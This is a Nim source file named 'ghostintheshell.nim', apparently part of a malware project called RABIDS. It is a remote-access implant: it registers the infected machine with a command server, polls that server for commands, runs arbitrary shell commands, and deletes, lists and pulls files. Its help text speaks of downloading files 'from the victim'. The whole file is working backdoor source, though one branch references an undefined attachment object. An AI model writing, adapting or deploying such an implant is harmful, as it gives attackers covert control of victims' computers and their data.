Files
RABIDS/MODULE/ghostintheshell.nim
Abdullah Sarwar 5a2988fd7f HTTP SERVER
2025-12-07 18:28:04 +05:00

269 lines
8.9 KiB
Nim

import asyncdispatch, times, httpclient, osproc, os, strutils, json, threadpool, streams, random
const
serverUrl* = "http://localhost:8080"
var
currentDir = getCurrentDir()
sessionRegistry: seq[string] = @[]
proc runCommandSync(cmd: string): (string, int) =
result = ("", -1)
var p = startProcess(cmd,
options = {poEvalCommand, poUsePath, poStdErrToStdOut})
var output = newStringOfCap(4096)
while not p.outputStream.atEnd:
output.add(p.outputStream.readStr(4096))
let exitCode = p.waitForExit()
p.close()
return (output, exitCode)
proc runBlockingCommand(cmd: string, pidHolder: ref int): string =
var p = startProcess(cmd,
options = {poEvalCommand, poUsePath, poStdErrToStdOut})
pidHolder[] = p.processID
var output = newStringOfCap(4096)
while not p.outputStream.atEnd:
output.add(p.outputStream.readStr(4096))
discard p.waitForExit()
p.close()
return output
proc runCommandWithTimeoutKill(cmd: string, timeoutMs: int): Future[string] {.async.} =
var pidHolder = new(int)
let fut = spawn runBlockingCommand(cmd, pidHolder)
var elapsed = 0
let interval = 100 # ms
while not isReady(fut) and elapsed < timeoutMs:
await sleepAsync(interval)
elapsed += interval
if isReady(fut):
return ^fut
else:
when defined(windows):
discard execShellCmd("taskkill /PID " & $pidHolder[] & " /T /F")
else:
discard execShellCmd("kill -9 " & $pidHolder[])
return "Command timed out and was terminated after " & $(timeoutMs div 1000) & " seconds."
proc handleCommand(rawCmd: string, client: HttpClient): Future[string] {.async.} =
let cmd = rawCmd.strip()
if cmd == "!help":
return """Available Commands:
!help - Shows this help message.
!ls or !dir - List files in the current directory.
!cd <dir> - Change directory.
!pwd - Print the current working directory.
!upload - Upload a file (attach it to the message).
!download <file> - Download a file from the victim.
!mkdir <dir> - Create a new directory.
!touch <file> - Create a new empty file.
!rm <file/dir> - Remove a file or directory.
!screencapture - Take a screenshot and send it.
!sysinfo - Get system information (OS, user, hostname).
!<command> - Execute a shell command (e.g., !whoami).
"""
if cmd == "!dir" or cmd == "!ls":
when defined(windows):
let (output, exitCode) = execCmdEx("cmd /c dir", options = {poUsePath}, workingDir = currentDir)
if exitCode != 0:
return "command failed with exit code " & $exitCode & ":\n" & output
else:
return output
else:
let (output, exitCode) = execCmdEx("ls", options = {poUsePath}, workingDir = currentDir)
if exitCode != 0:
return "command failed with exit code " & $exitCode & ":\n" & output
else:
return output
elif cmd == "!pwd":
return currentDir
elif cmd == "!sysinfo":
when defined(linux):
let (unameOut, unameExit) = execCmdEx("uname -a", options = {poUsePath}, workingDir = currentDir)
let (lsbOut, lsbExit) = execCmdEx("bash -c \"lsb_release -d 2>/dev/null\"", options = {poUsePath}, workingDir = currentDir)
if unameExit == 0:
var info = unameOut
if lsbExit == 0 and lsbOut.len > 0:
info &= "\n" & lsbOut
return info
else:
return "Failed to get system info: " & unameOut
elif defined(windows):
let powershellScript = "Get-ComputerInfo | ConvertTo-Json"
let command = "powershell -NoProfile -WindowStyle Hidden -Command \"" & powershellScript & "\""
let (output, exitCode) = execCmdEx(command, options = {poUsePath}, workingDir = currentDir)
if exitCode != 0:
return "command failed with exit code " & $exitCode & ":\n" & output
else:
return output
elif defined(macosx):
let (output, exitCode) = execCmdEx("system_profiler SPHardwareDataType", options = {poUsePath}, workingDir = currentDir)
if exitCode != 0:
return "command failed with exit code " & $exitCode & ":\n" & output
else:
return output
else:
return "sysinfo not supported on this platform."
elif cmd.startsWith("!cd "):
let newDir = cmd[3..^1].strip()
let targetDir = if os.isAbsolute(newDir): newDir else: os.joinPath(currentDir, newDir)
if dirExists(targetDir):
setCurrentDir(targetDir)
currentDir = targetDir
return "changed directory to " & currentDir
else:
return "directory not found: " & targetDir
elif cmd.startsWith("!upload"):
if m.attachments.len == 0:
return "no file attached. Please send a file with the !upload command."
else:
let attachment = m.attachments[0]
let downloadUrl = attachment.url
let fileName = attachment.filename
try:
let fileData = client.getContent(downloadUrl)
let savePath = os.joinPath(currentDir, fileName)
writeFile(savePath, fileData)
return "downloaded file to " & savePath
except CatchableError as e:
return "failed to download file: " & e.msg
elif cmd.startsWith("!mkdir "):
let dirName = cmd[6..^1].strip()
let dirPath = joinPath(currentDir, dirName)
try:
createDir(dirPath)
return "created directory: " & dirPath
except CatchableError as e:
return e.msg
elif cmd.startsWith("!touch "):
let fileName = cmd[6..^1].strip()
let filePath = joinPath(currentDir, fileName)
try:
writeFile(filePath, "")
return "created file: " & filePath
except CatchableError as e:
return e.msg
elif cmd.startsWith("!rm "):
let target = cmd[3..^1].strip()
let path = joinPath(currentDir, target)
if fileExists(path):
try:
removeFile(path)
return "Deleted file: " & path
except CatchableError as e:
return e.msg
elif dirExists(path):
try:
removeDir(path)
return "deleted directory: " & path
except CatchableError as e:
return e.msg
else:
return "no such file or directory: " & path
else:
try:
var command = cmd[1..^1]
when defined(macosx):
return await runCommandWithTimeoutKill(command, 60000)
elif defined(windows):
command = "cmd /c " & command
return await runCommandWithTimeoutKill(command, 60000)
else:
return "unsupported platform for direct command execution."
except CatchableError as e:
return "error running command: " & e.msg
proc getHostname(): string =
when defined(windows):
let (output, exitCode) = execCmdEx("hostname")
if exitCode == 0:
return output.strip()
else:
return "unknown hostname"
else:
let (output, exitCode) = execCmdEx("hostname")
if exitCode == 0:
return output.strip()
else:
return "unknown hostname"
proc generateSessionId(): string =
randomize()
let hostname = getHostname().replace(" ", "-").strip()
let uid = rand(1000..9999)
when defined(windows):
return "win-" & hostname & "-" & $uid
elif defined(macosx):
return "mac-" & hostname & "-" & $uid
elif defined(linux):
return "lin-" & hostname & "-" & $uid
else:
return "unk-" & $uid
var machineName: string
proc httpServerMode() {.async.} =
echo "Starting HTTP server mode..."
machineName = getEnv("MACHINE_NAME", generateSessionId())
# Register with server
try:
let client = newHttpClient()
let data = "{\"hostname\":\"" & machineName & "\",\"status\":\"live\"}"
client.headers = newHttpHeaders({"Content-Type": "application/json"})
discard client.postContent(serverUrl & "/register", body = data)
echo machineName & " registered with HTTP server"
except Exception as e:
echo "Failed to register with HTTP server: ", e.msg
return
# Poll for commands
while true:
try:
let client = newHttpClient()
let response = client.getContent(serverUrl & "/commands/" & machineName)
if response.len > 0:
let cmdData = parseJson(response)
if cmdData.hasKey("command"):
let cmd = cmdData["command"].getStr()
echo "Received command: ", cmd
let output = await handleCommand(cmd, client)
# Send response back
let respData = "{\"hostname\":\"" & machineName & "\",\"output\":\"" & output.replace("\"", "\\\"") & "\"}"
client.headers = newHttpHeaders({"Content-Type": "application/json"})
discard client.postContent(serverUrl & "/response", body = respData)
except Exception as e:
echo "Error in command loop: ", e.msg
await sleepAsync(2000) # Poll every 2 seconds
proc main() =
if serverUrl.len == 0:
echo "Error: Server URL not configured"
return
try:
let client = newHttpClient()
discard client.getContent(serverUrl & "/ping")
echo "HTTP server is available at: ", serverUrl
waitFor httpServerMode()
except Exception as e:
echo "Failed to connect to HTTP server: ", e.msg
echo "Please check server URL and ensure server is running"